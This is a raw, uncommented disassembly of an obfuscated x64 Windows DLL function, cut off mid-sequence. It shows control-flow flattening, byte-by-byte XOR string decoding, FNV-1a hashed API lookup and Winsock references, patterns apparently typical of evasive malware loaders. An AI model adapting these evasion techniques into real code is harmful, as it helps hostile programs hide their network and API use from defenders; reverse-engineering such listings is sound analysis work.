mov ecx, 0x7933f360
jmp 0x180077940
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x44], cx
mov dword [rbp + 0x8b8], WSAStartup
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x1800779ae
cmp ecx, 0x7d37b2cf
jne 0x180077990
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180077990
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x1800779f9
cmp ecx, 0xc25f9f7e
jne 0x1800779d0
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x1800779d0
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x46], cx
mov dword [rbp + 0x8b8], 0x36
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x180077a3e
cmp ecx, 0x7d37b2cf
jne 0x180077a20
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180077a20
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180077a89
cmp ecx, 0xc25f9f7e
jne 0x180077a60
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180077a60
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x48], cx
mov dword [rbp + 0x8b8], 0x34
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x180077ace
cmp ecx, 0x7d37b2cf
jne 0x180077ab0
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180077ab0
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180077b19
cmp ecx, 0xc25f9f7e
jne 0x180077af0
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180077af0
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x4a], cx
mov dword [rbp + 0x8b8], 0x3b
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x180077b5e
cmp ecx, 0x7d37b2cf
jne 0x180077b40
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180077b40
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180077ba9
cmp ecx, 0xc25f9f7e
jne 0x180077b80
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180077b80
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x4c], cx
mov dword [rbp + 0x8b8], 0x20
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x180077bee
cmp ecx, 0x7d37b2cf
jne 0x180077bd0
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180077bd0
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180077c39
cmp ecx, 0xc25f9f7e
jne 0x180077c10
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180077c10
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x4e], cx
mov dword [rbp + 0x8b8], pe_nt_image_headers64
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x180077c7e
cmp ecx, 0x7d37b2cf
jne 0x180077c60
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180077c60
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180077cc9
cmp ecx, 0xc25f9f7e
jne 0x180077ca0
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180077ca0
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x50], cx
mov dword [rbp + 0x8b8], 0x36
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x180077d0e
cmp ecx, 0x7d37b2cf
jne 0x180077cf0
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180077cf0
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180077d59
cmp ecx, 0xc25f9f7e
jne 0x180077d30
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180077d30
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x52], cx
mov dword [rbp + 0x8b8], 0x34
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x180077d9e
cmp ecx, 0x7d37b2cf
jne 0x180077d80
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180077d80
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180077de9
cmp ecx, 0xc25f9f7e
jne 0x180077dc0
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180077dc0
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x54], cx
mov dword [rbp + 0x8b8], 0x29
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x180077e2e
cmp ecx, 0x7d37b2cf
jne 0x180077e10
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180077e10
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180077e79
cmp ecx, 0xc25f9f7e
jne 0x180077e50
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180077e50
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x56], cx
mov dword [rbp + 0x8b8], 0x20
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x180077ebe
cmp ecx, 0x7d37b2cf
jne 0x180077ea0
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180077ea0
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180077f09
cmp ecx, 0xc25f9f7e
jne 0x180077ee0
mov ecx, dword [rbp + 0x8b8]
xor ecx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x7933f360
jmp 0x180077ee0
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x58], cx
mov dword [rbp + 0x8b8], 0x41
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x180077f4e
cmp ecx, 0x7d37b2cf
jne 0x180077f30
mov qword [rbp + 0x8d0], r13
mov ecx, 0xd06f174e
jmp 0x180077f30
mov rcx, qword [rbp + 0x8d0]
movzx ecx, word [rcx]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc25f9f7e
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7933f360
je 0x180077f99
cmp ecx, 0xc25f9f7e
jne 0x180077f70
mov ecx, dword [rbp + 0x8d0]
mov word [rax + 0x5a], cx
mov dword [rbp + 0x8b8], WSAStartup
mov ecx, 0x7d37b2cf
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd06f174e
je 0x180077fde
lea rdx, [0x1800dfc0a]
lea rdi, [rbp - 0x40]
lea r8, [rbp + 0x5f0]
mov rcx, rdi
call fcn.180083f90
mov eax, 0xda65c3b1
lea rbx, [rbp + 0x848]
nop
cmp eax, 0x76595268
je 0x18007ae4c
cmp eax, 0xda65c3b1
jne 0x18007adb0
mov eax, 0x7890a385
nop word [rax + rax]
cmp eax, 0x81c6cc8b
je 0x18007ae29
cmp eax, 0x7890a385
jne 0x18007add0
mov eax, 0x8a0d3ac1
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x12a74a58
je 0x18007ae14
cmp eax, 0x8a0d3ac1
jne 0x18007adf0
mov rcx, rdi
call fcn.1800c7f88
mov qword [rbp + 0x730], rax
mov eax, 0x12a74a58
jmp 0x18007adf0
mov rax, qword [rbp + 0x730]
mov qword [rbp + 0x8d0], rax
mov eax, 0x81c6cc8b
jmp 0x18007add0
mov r8, qword [rbp + 0x8d0]
mov rcx, rbx
mov rdx, rdi
call fcn.180093bc0
mov qword [rbp + 0x8c8], rax
mov eax, 0x76595268
jmp 0x18007adb0
mov rax, qword [rbp + 0x8c8]
mov rax, qword [rbp + 0x880]
lea r14, [rax + 0x208]
mov rcx, r14
call fcn.1800c7f88
test rax, rax
je 0x18007b942
mov qword [rbp + 0x8b8], r13
mov rax, qword [rbp + 0x8b8]
mov byte [rax], 0x6d
mov edx, 0x6b7ed5f4
mov r8d, 0x59d54917
nop
cmp edx, 0x59d54916
jg 0x18007af30
cmp edx, 0x909a7f7f
je 0x18007afb2
cmp edx, 0x9dda2787
jne 0x18007ae90
mov rcx, qword [rbp + 0x8c8]
mov dl, byte [rbp + 0x730]
add dl, 0xa
mov ebx, 0x1d925d37
nop word cs:[rax + rax]
nop
cmp ebx, 0x58fd54ff
je 0x18007afce
cmp ebx, 0x1d925d37
jne 0x18007aed0
mov ebx, 0xdafc73b9
nop dword [rax]
cmp ebx, 0xd430cb1c
je 0x18007af0d
cmp ebx, 0xdafc73b9
jne 0x18007aef0
mov byte [rbp + 0x898], dl
mov ebx, 0xd430cb1c
jmp 0x18007aef0
mov al, byte [rbp + 0x898]
xor al, 0x6e
mov byte [rbp + 0x888], al
mov ebx, 0x58fd54ff
jmp 0x18007aed0
cmp edx, 0x59d54917
je 0x18007b3fb
cmp edx, 0x6b7ed5f4
jne 0x18007ae90
mov rbx, qword [rbp + 0x8b8]
mov edi, 0x1d925d37
mov dl, byte [rbp + 0x730]
nop word [rax + rax]
cmp edi, 0x58fd54ff
je 0x18007aff7
cmp edi, 0x1d925d37
jne 0x18007af60
mov edi, 0xdafc73b9
nop dword [rax]
cmp edi, 0xd430cb1c
je 0x18007af9d
cmp edi, 0xdafc73b9
jne 0x18007af80
mov byte [rbp + 0x898], dl
mov edi, 0xd430cb1c
jmp 0x18007af80
mov al, byte [rbp + 0x898]
xor al, 0x57
mov byte [rbp + 0x888], al
mov edi, 0x58fd54ff
jmp 0x18007af60
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0x8d0]
mov edx, 0x909a7f7f
cmove edx, r8d
jmp 0x18007ae90
mov al, byte [rbp + 0x888]
mov byte [rcx + 1], al
add rcx, 2
mov rax, qword [rbp + 0x8b8]
add rax, 0xd
mov qword [rbp + 0x8d0], rax
mov edx, 0x909a7f7f
jmp 0x18007ae90
mov al, byte [rbp + 0x888]
mov byte [rbx + 1], al
lea edi, [rdx + 1]
mov esi, 0x1d925d37
nop dword [rax + rax]
cmp esi, 0x58fd54ff
je 0x18007b063
cmp esi, 0x1d925d37
jne 0x18007b010
mov esi, 0xdafc73b9
nop word cs:[rax + rax]
nop
cmp esi, 0xd430cb1c
je 0x18007b04e
cmp esi, 0xdafc73b9
jne 0x18007b030
mov byte [rbp + 0x898], dil
mov esi, 0xd430cb1c
jmp 0x18007b030
mov al, byte [rbp + 0x898]
xor al, 0x69
mov byte [rbp + 0x888], al
mov esi, 0x58fd54ff
jmp 0x18007b010
mov al, byte [rbp + 0x888]
mov byte [rbx + 2], al
lea edi, [rdx + 2]
mov esi, 0x1d925d37
nop word cs:[rax + rax]
nop
cmp esi, 0x58fd54ff
je 0x18007b0d3
cmp esi, 0x1d925d37
jne 0x18007b080
mov esi, 0xdafc73b9
nop word cs:[rax + rax]
nop
cmp esi, 0xd430cb1c
je 0x18007b0be
cmp esi, 0xdafc73b9
jne 0x18007b0a0
mov byte [rbp + 0x898], dil
mov esi, 0xd430cb1c
jmp 0x18007b0a0
mov al, byte [rbp + 0x898]
xor al, 0x6e
mov byte [rbp + 0x888], al
mov esi, 0x58fd54ff
jmp 0x18007b080
mov al, byte [rbp + 0x888]
mov byte [rbx + 3], al
lea edi, [rdx + 3]
mov esi, 0x1d925d37
nop word cs:[rax + rax]
nop
cmp esi, 0x58fd54ff
je 0x18007b143
cmp esi, 0x1d925d37
jne 0x18007b0f0
mov esi, 0xdafc73b9
nop word cs:[rax + rax]
nop
cmp esi, 0xd430cb1c
je 0x18007b12e
cmp esi, 0xdafc73b9
jne 0x18007b110
mov byte [rbp + 0x898], dil
mov esi, 0xd430cb1c
jmp 0x18007b110
mov al, byte [rbp + 0x898]
xor al, 0x48
mov byte [rbp + 0x888], al
mov esi, 0x58fd54ff
jmp 0x18007b0f0
mov al, byte [rbp + 0x888]
mov byte [rbx + 4], al
lea edi, [rdx + 4]
mov esi, 0x1d925d37
nop word cs:[rax + rax]
nop
cmp esi, 0x58fd54ff
je 0x18007b1b3
cmp esi, 0x1d925d37
jne 0x18007b160
mov esi, 0xdafc73b9
nop word cs:[rax + rax]
nop
cmp esi, 0xd430cb1c
je 0x18007b19e
cmp esi, 0xdafc73b9
jne 0x18007b180
mov byte [rbp + 0x898], dil
mov esi, 0xd430cb1c
jmp 0x18007b180
mov al, byte [rbp + 0x898]
xor al, 0x74
mov byte [rbp + 0x888], al
mov esi, 0x58fd54ff
jmp 0x18007b160
mov al, byte [rbp + 0x888]
mov byte [rbx + 5], al
lea edi, [rdx + 5]
mov esi, 0x1d925d37
nop word cs:[rax + rax]
nop
cmp esi, 0x58fd54ff
je 0x18007b223
cmp esi, 0x1d925d37
jne 0x18007b1d0
mov esi, 0xdafc73b9
nop word cs:[rax + rax]
nop
cmp esi, 0xd430cb1c
je 0x18007b20e
cmp esi, 0xdafc73b9
jne 0x18007b1f0
mov byte [rbp + 0x898], dil
mov esi, 0xd430cb1c
jmp 0x18007b1f0
mov al, byte [rbp + 0x898]
xor al, 0x74
mov byte [rbp + 0x888], al
mov esi, 0x58fd54ff
jmp 0x18007b1d0
mov al, byte [rbp + 0x888]
mov byte [rbx + 6], al
lea edi, [rdx + 6]
mov esi, 0x1d925d37
nop word cs:[rax + rax]
nop
cmp esi, 0x58fd54ff
je 0x18007b293
cmp esi, 0x1d925d37
jne 0x18007b240
mov esi, 0xdafc73b9
nop word cs:[rax + rax]
nop
cmp esi, 0xd430cb1c
je 0x18007b27e
cmp esi, 0xdafc73b9
jne 0x18007b260
mov byte [rbp + 0x898], dil
mov esi, 0xd430cb1c
jmp 0x18007b260
mov al, byte [rbp + 0x898]
xor al, 0x70
mov byte [rbp + 0x888], al
mov esi, 0x58fd54ff
jmp 0x18007b240
mov al, byte [rbp + 0x888]
mov byte [rbx + 7], al
lea edi, [rdx + 7]
mov esi, 0x1d925d37
nop word cs:[rax + rax]
nop
cmp esi, 0x58fd54ff
je 0x18007b303
cmp esi, 0x1d925d37
jne 0x18007b2b0
mov esi, 0xdafc73b9
nop word cs:[rax + rax]
nop
cmp esi, 0xd430cb1c
je 0x18007b2ee
cmp esi, 0xdafc73b9
jne 0x18007b2d0
mov byte [rbp + 0x898], dil
mov esi, 0xd430cb1c
jmp 0x18007b2d0
mov al, byte [rbp + 0x898]
xor al, 0x4f
mov byte [rbp + 0x888], al
mov esi, 0x58fd54ff
jmp 0x18007b2b0
mov al, byte [rbp + 0x888]
mov byte [rbx + 8], al
lea edi, [rdx + 8]
mov esi, 0x1d925d37
nop word cs:[rax + rax]
nop
cmp esi, 0x58fd54ff
je 0x18007b373
cmp esi, 0x1d925d37
jne 0x18007b320
mov esi, 0xdafc73b9
nop word cs:[rax + rax]
nop
cmp esi, 0xd430cb1c
je 0x18007b35e
cmp esi, 0xdafc73b9
jne 0x18007b340
mov byte [rbp + 0x898], dil
mov esi, 0xd430cb1c
jmp 0x18007b340
mov al, byte [rbp + 0x898]
xor al, 0x70
mov byte [rbp + 0x888], al
mov esi, 0x58fd54ff
jmp 0x18007b320
mov al, byte [rbp + 0x888]
mov byte [rbx + 9], al
add rbx, 0xa
mov qword [rbp + 0x8c8], rbx
add dl, 9
mov ebx, 0x1d925d37
nop
cmp ebx, 0x58fd54ff
je 0x18007b3e2
cmp ebx, 0x1d925d37
jne 0x18007b390
mov ebx, 0xdafc73b9
nop word cs:[rax + rax]
nop
cmp ebx, 0xd430cb1c
je 0x18007b3cd
cmp ebx, 0xdafc73b9
jne 0x18007b3b0
mov byte [rbp + 0x898], dl
mov ebx, 0xd430cb1c
jmp 0x18007b3b0
mov al, byte [rbp + 0x898]
xor al, 0x65
mov byte [rbp + 0x888], al
mov ebx, 0x58fd54ff
jmp 0x18007b390
mov al, byte [rbp + 0x888]
mov rdx, qword [rbp + 0x8c8]
mov byte [rdx], al
mov edx, 0x9dda2787
jmp 0x18007ae90
mov qword [rbp + 0x870], r14
lea rcx, [rbp + 0x730]
call fcn.180084270
mov r14d, 0x676f3d91
movabs r10, 0xcbf29ce484222325
mov r8d, 0xd12f0328
mov r9d, 0xd1da1d7e
mov r11d, 0x454da8a0
mov r12d, 0x7090fb3e
mov r13d, 0x9a007ce3
jmp 0x18007b470
movsxd rdi, ebx
xor rdi, qword [rbp + 0x8d0]
movabs rdx, 0x100000001b3
imul rdi, rdx
mov r15d, dword [rbp + 0x8b8]
add r15d, 1
mov r14d, 0xac5b234
nop word [rax + rax]
cmp r14d, 0xf65328f1
jg 0x18007b4d0
cmp r14d, 0xc212bd2a
jle 0x18007b520
cmp r14d, 0xd94e5920
jg 0x18007b5af
cmp r14d, 0xc212bd2b
je 0x18007b699
cmp r14d, 0xd12f0328
je 0x18007b6a4
cmp r14d, 0xd1da1d7e
jne 0x18007b470
mov esi, dword [rbp + 0x8a4]
cmp esi, 0x7f
setl byte [rbp + 0x897]
mov r14d, 0x1ee519d6
jmp 0x18007b470
cmp r14d, 0x32830d68
jg 0x18007b570
cmp r14d, 0x1ee519d5
jle 0x18007b5ec
cmp r14d, 0x1ee519d6
je 0x18007b6be
cmp r14d, 0x23144f16
je 0x18007b6d4
cmp r14d, 0x266919b2
jne 0x18007b470
mov r14d, 0xde45267d
jmp 0x18007b470
cmp r14d, 0xa971a22b
jle 0x18007b631
cmp r14d, 0xa971a22c
je 0x18007b6e5
cmp r14d, 0xaa53857a
je 0x18007b6f2
cmp r14d, 0xae198c88
jne 0x18007b470
mov r14d, 0xac5b234
xor r15d, r15d
mov rdi, r10
jmp 0x18007b470
cmp r14d, 0x5eec1115
jle 0x18007b667
cmp r14d, 0x5eec1116
je 0x18007b6fd
cmp r14d, 0x7090fb3e
je 0x18007b722
cmp r14d, 0x676f3d91
jne 0x18007b470
mov r14d, 0xa971a22c
jmp 0x18007b470
cmp r14d, 0xd94e5921
je 0x18007b43e
cmp r14d, 0xde45267d
je 0x18007b73c
cmp r14d, 0xe4465726
jne 0x18007b470
cmp byte [rbp + 0x890], 0
mov r14d, 0x32830d69
cmovne r14d, r8d
jmp 0x18007b470
cmp r14d, 0xf65328f2
je 0x18007b74d
cmp r14d, 0xac5b234
jne 0x18007b7a7
mov dword [rbp + 0x8b8], r15d
mov qword [rbp + 0x8d0], rdi
mov esi, dword [rbp + 0x898]
mov edx, dword [rbp + 0x8b8]
cmp edx, esi
mov r14d, 0x6d3d8b8
cmovb r14d, r11d
jmp 0x18007b470
cmp r14d, 0x9a007ce3
je 0x18007b77b
cmp r14d, 0x9a8ae9d1
jne 0x18007b470
mov rdx, qword [rbp + 0x8c8]
movzx edx, byte [rax + rdx]
mov byte [rbp + 0x8c7], dl
mov r14d, 0x5eec1116
jmp 0x18007b470
cmp r14d, 0x32830d69
je 0x18007b796
cmp r14d, 0x454da8a0
jne 0x18007b470
mov edx, dword [rbp + 0x8b8]
mov qword [rbp + 0x8c8], rdx
mov r14d, 0x9a8ae9d1
jmp 0x18007b470
mov r14d, 0xae198c88
jmp 0x18007b470
mov edx, dword [rbp + 0x8b0]
or edx, 0x20
mov dword [rbp + 0x888], edx
mov r14d, 0x23144f16
jmp 0x18007b470
cmp byte [rbp + 0x897], 0
mov r14d, 0xaa53857a
cmovne r14d, r12d
jmp 0x18007b470
mov r14d, 0xd94e5921
mov ebx, dword [rbp + 0x888]
jmp 0x18007b470
mov r14d, 0xf65328f2
xor ecx, ecx
jmp 0x18007b470
mov r14d, 0xc212bd2b
jmp 0x18007b470
movsx edx, byte [rbp + 0x8c7]
mov dword [rbp + 0x8b0], edx
mov edx, dword [rbp + 0x8b0]
cmp edx, 0x40
mov r14d, 0x32830d69
cmovg r14d, r13d
jmp 0x18007b470
mov esi, dword [rbp + 0x898]
add esi, 1
mov dword [rbp + 0x8a8], esi
mov r14d, 0x266919b2
jmp 0x18007b470
mov r14d, 0xf65328f2
mov ecx, dword [rbp + 0x8a8]
jmp 0x18007b470
mov dword [rbp + 0x898], ecx
mov esi, dword [rbp + 0x898]
movsx esi, byte [rax + rsi]
mov dword [rbp + 0x8a4], esi
mov esi, dword [rbp + 0x8a4]
cmp esi, 0x1f
mov r14d, 0xaa53857a
cmovg r14d, r9d
jmp 0x18007b470
mov edx, dword [rbp + 0x8b0]
cmp edx, 0x5b
setl byte [rbp + 0x890]
mov r14d, 0xe4465726
jmp 0x18007b470
mov r14d, 0xd94e5921
mov ebx, dword [rbp + 0x8b0]
jmp 0x18007b470
cmp r14d, 0x6d3d8b8
jne 0x18007b470
mov rcx, qword [rbp + 0x8d0]
call fcn.1800ae820
lea r13, [rbp + 0x730]
mov ecx, 0x7f118e82
mov r8, qword [rbp + 0x870]
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x72cfd8c3
je 0x18007b805
cmp ecx, 0x7f118e82
jne 0x18007b7e0
lea rcx, [rbp + 0x848]
mov qword [rbp + 0x8b0], rcx
mov ecx, 0x72cfd8c3
jmp 0x18007b7e0
mov rdx, qword [rbp + 0x8b0]
lea rbx, [rdx + 0x18]
mov esi, 0xf99aba2d
mov edi, 0x78d5e74f
nop word [rax + rax]
cmp esi, 0xf99aba2c
jg 0x18007b860
cmp esi, 0xbf7fa212
je 0x18007b898
cmp esi, 0xc208624d
je 0x18007b920
cmp esi, 0xc9b225fe
jne 0x18007b820
mov esi, 0xc208624d
mov rcx, qword [rbp + 0x8c8]
jmp 0x18007b820
cmp esi, 0x78d5e74f
je 0x18007b8d9
cmp esi, 0x1d69498d
je 0x18007b8f4
cmp esi, 0xf99aba2d
jne 0x18007b820
mov qword [rbp + 0x888], rdx
mov rsi, qword [rbp + 0x888]
mov qword [rbp + 0x898], rsi
mov esi, 0xbf7fa212
jmp 0x18007b820
mov rcx, qword [rbp + 0x898]
mov qword [rbp + 0x8d0], rbx
mov esi, 0x9c4e9dc1
nop dword [rax + rax]
cmp esi, 0x6305b276
je 0x18007b90c
cmp esi, 0x9c4e9dc1
jne 0x18007b8b0
mov rsi, qword [rbp + 0x8d0]
cmp qword [rsi], 7
seta byte [rbp + 0x8a8]
mov esi, 0x6305b276
jmp 0x18007b8b0
mov rsi, qword [rbp + 0x888]
mov rsi, qword [rsi]
mov qword [rbp + 0x8b8], rsi
mov esi, 0x1d69498d
jmp 0x18007b820
mov rsi, qword [rbp + 0x8b8]
mov qword [rbp + 0x8c8], rsi
mov esi, 0xc9b225fe
jmp 0x18007b820
cmp byte [rbp + 0x8a8], 0
mov esi, 0xc208624d
cmovne esi, edi
jmp 0x18007b820
mov dword [rsp + 0x20], 0
lea r9, str.2.2.2.2
mov edx, 3
call rax
mov qword [rbp + 0x870], rax
jmp 0x18007c56c
mov eax, 0xd93b3763
nop word [rax + rax]
cmp eax, 0x6c0861c
je 0x18007b9a5
cmp eax, 0xd93b3763
jne 0x18007b950
mov dword [rbp + 0x8c8], 0x57
mov eax, 0x89bee7e9
nop dword [rax]
cmp eax, 0xc6517e53
je 0x18007b98f
cmp eax, 0x89bee7e9
jne 0x18007b970
mov dword [rbp + 0x730], 0xa
mov eax, 0xc6517e53
jmp 0x18007b970
mov eax, dword [rbp + 0x730]
movsx eax, al
mov dword [rbp + 0x8d0], eax
mov eax, 0x6c0861c
jmp 0x18007b950
mov eax, dword [rbp + 0x8c8]
add eax, dword [rbp + 0x8d0]
mov byte [rbp + 0x730], al
lea rax, [rbp + 0x731]
mov qword [rbp + 0x8b8], rax
mov byte [rbp + 0x8a8], 0x69
mov ecx, 0x52bc4c8a
lea rax, [0x1800df9d4]
nop dword [rax + rax]
cmp ecx, 0x3e79d081
je 0x18007be12
cmp ecx, 0x52bc4c8a
jne 0x18007b9e0
movsx ecx, byte [rbp + 0x8a8]
mov edx, 0xd93b3763
cmp edx, 0x6c0861c
je 0x18007ba57
cmp edx, 0xd93b3763
jne 0x18007ba00
mov dword [rbp + 0x8b0], ecx
mov edx, 0x89bee7e9
nop dword [rax + rax]
cmp edx, 0xc6517e53
je 0x18007ba41
cmp edx, 0x89bee7e9
jne 0x18007ba20
mov dword [rbp + 0x898], 0xa
mov edx, 0xc6517e53
jmp 0x18007ba20
mov edx, dword [rbp + 0x898]
movsx edx, dl
mov dword [rbp + 0x888], edx
mov edx, 0x6c0861c
jmp 0x18007ba00
mov ecx, dword [rbp + 0x8b0]
add ecx, dword [rbp + 0x888]
mov rdx, qword [rbp + 0x8b8]
mov byte [rdx], cl
mov rcx, qword [rbp + 0x8b8]
mov edx, 0xd93b3763
nop dword [rax + rax]
cmp edx, 0x6c0861c
je 0x18007bad7
cmp edx, 0xd93b3763
jne 0x18007ba80
mov dword [rbp + 0x8b0], WSAStartup
mov edx, 0x89bee7e9
nop
cmp edx, 0xc6517e53
je 0x18007bac1
cmp edx, 0x89bee7e9
jne 0x18007baa0
mov dword [rbp + 0x898], 0xa
mov edx, 0xc6517e53
jmp 0x18007baa0
mov edx, dword [rbp + 0x898]
movsx edx, dl
mov dword [rbp + 0x888], edx
mov edx, 0x6c0861c
jmp 0x18007ba80
mov edx, dword [rbp + 0x8b0]
add edx, dword [rbp + 0x888]
mov byte [rcx + 1], dl
mov edx, 0xd93b3763
nop dword [rax + rax]
cmp edx, 0x6c0861c
je 0x18007bb47
cmp edx, 0xd93b3763
jne 0x18007baf0
mov dword [rbp + 0x8b0], 0x48
mov edx, 0x89bee7e9
nop
cmp edx, 0xc6517e53
je 0x18007bb31
cmp edx, 0x89bee7e9
jne 0x18007bb10
mov dword [rbp + 0x898], 0xa
mov edx, 0xc6517e53
jmp 0x18007bb10
mov edx, dword [rbp + 0x898]
movsx edx, dl
mov dword [rbp + 0x888], edx
mov edx, 0x6c0861c
jmp 0x18007baf0
mov edx, dword [rbp + 0x8b0]
add edx, dword [rbp + 0x888]
mov byte [rcx + 2], dl
mov edx, 0xd93b3763
nop dword [rax + rax]
cmp edx, 0x6c0861c
je 0x18007bbb7
cmp edx, 0xd93b3763
jne 0x18007bb60
mov dword [rbp + 0x8b0], 0x74
mov edx, 0x89bee7e9
nop
cmp edx, 0xc6517e53
je 0x18007bba1
cmp edx, 0x89bee7e9
jne 0x18007bb80
mov dword [rbp + 0x898], 0xa
mov edx, 0xc6517e53
jmp 0x18007bb80
mov edx, dword [rbp + 0x898]
movsx edx, dl
mov dword [rbp + 0x888], edx
mov edx, 0x6c0861c
jmp 0x18007bb60
mov edx, dword [rbp + 0x8b0]
add edx, dword [rbp + 0x888]
mov byte [rcx + 3], dl
mov edx, 0xd93b3763
nop dword [rax + rax]
cmp edx, 0x6c0861c
je 0x18007bc27
cmp edx, 0xd93b3763
jne 0x18007bbd0
mov dword [rbp + 0x8b0], 0x74
mov edx, 0x89bee7e9
nop
cmp edx, 0xc6517e53
je 0x18007bc11
cmp edx, 0x89bee7e9
jne 0x18007bbf0
mov dword [rbp + 0x898], 0xa
mov edx, 0xc6517e53
